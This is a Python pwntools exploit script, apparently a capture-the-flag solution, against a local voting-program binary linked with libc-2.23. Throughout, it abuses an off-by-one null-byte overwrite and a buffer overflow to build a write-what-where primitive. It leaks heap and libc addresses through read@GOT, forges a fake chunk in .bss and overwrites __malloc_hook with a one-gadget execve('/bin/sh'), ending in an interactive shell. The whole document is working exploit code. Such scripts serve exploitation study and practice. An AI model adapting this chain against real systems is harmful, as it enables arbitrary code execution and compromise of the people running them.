#!/usr/bin/env python

from pwn import *

def stand(name):
    p.sendlineafter('>> ', '1')
    p.sendafter('Enter the name.\n>> ', name)

def vote(show, name, modify):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('Show candidates? (Y/n) ', show)
    candidates = p.recvuntil('Enter the name of the candidate.\n>>').replace('\nEnter the name of the candidate.\n>>', '')
    p.send(name)

    if name == 'oshima\n':
        p.sendafter('Would you modify the name and re-vote?\n>> ', modify)

    return candidates

def write_what_where(what, where):
    for i in range(len(what)):
        for j in range(u8(what[i])):
            vote('n', 'oshima\n', 'yes' + '\x00' * 29 + p64(where + i - 16) + '\x01' + '\n')

with context.quiet:
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    # Tatsumi   => fastbin_1 (0x20) and fastbin_2 (0x20)
    # Shinonome => fastbin_3 (0x20) and fastbin_4 (0x20)
    # Ojima     => fastbin_5 (0x20) and fastbin_6 (0x20)

    # fastbin_7 (0x20) and fastbin_8 (0x20)
    # the "list" is pointing to fastbin_7
    # we set the name of new record as the address of read@GOT
    read_got = 0x601fb8
    stand(p64(read_got) + '\n')

    # there is an off-by-one (null byte poisoning) in vote function by which we can change
    # the name pointer of Tatsumi in fastbin_1 to point to fastbin_3 instead of fastbin_2
    for i in range(32):
        vote('Y', 'oshima\n', 'yes' + '\x00' * 28 + '\n')

    # since the name pointer to pointing to fastbin_3, we can print the list of candidates
    # this causes a heap address to be leaked by whitch, we can find the heap base address
    heap_addr = vote('Y', 'oshima\n', 'no\n').split('* ')[-1]
    heap_base = u64(heap_addr + '\x00' * (8 - len(heap_addr))) - 0x70
    print 'heap base: {}'.format(hex(heap_base))

    # we need to create a fake chunks in .bss in order to simulate the ojima record since
    # we are going to change the "list" variable points to somewhere else
    write_what_where(p64(0x602050), 0x602038)
    write_what_where(p64(0), 0x602040)
    write_what_where(p64(0), 0x602048)
    write_what_where('ojima\x00', 0x602050)

    # write the address of our fake chunk in .bss in the next pointer of fastbin_8
    write_what_where(p64(0x602038), heap_base + 0xf8)

    # using the buffer overflow vulnerability in vote function, we can simply make list to
    # point to fastbin_8 instead of fastbin_7
    vote('Y', 'oshima\n', 'yes' + '\x00' * 29 + p64(0x602028 - 16) + p8(32) + '\n')

    # since fastbin_8's name pointer is pointing to read@GOT, we can simply leak the read@GOT
    # address in order to find the libc base address
    libc_base = u64(vote('Y', '\n', '\n')[14:20] + '\x00\x00') - 0xf7220
    print 'libc base: {}'.format(hex(libc_base))

    '''
    0xf0274 execve("/bin/sh", rsp+0x50, environ)
    constraints:
        [rsp+0x50] == NULL
    '''
    one_gadget = libc_base + 0xf0274
    print 'one gadget: {}'.format(hex(one_gadget))

    malloc_hook = libc_base + 0x3c4b10
    print 'malloc_hook: {}'.format(hex(malloc_hook))

    # we have replace the __malloc_hook with the address of one gadget
    write_what_where(p64(one_gadget), malloc_hook)

    # since we need to trigger malloc for our gadget to be executed, we need to make a change into "lv"
    # variable in order to call stand later. Here we simply decrease the "lv"
    vote('n', 'oshima\n', 'yes' + '\x00' * 29 + p64(0x602010 - 16) + '\xff' + '\n')

    # the malloc here triggers our one gadget
    stand('\n')

    p.interactive()

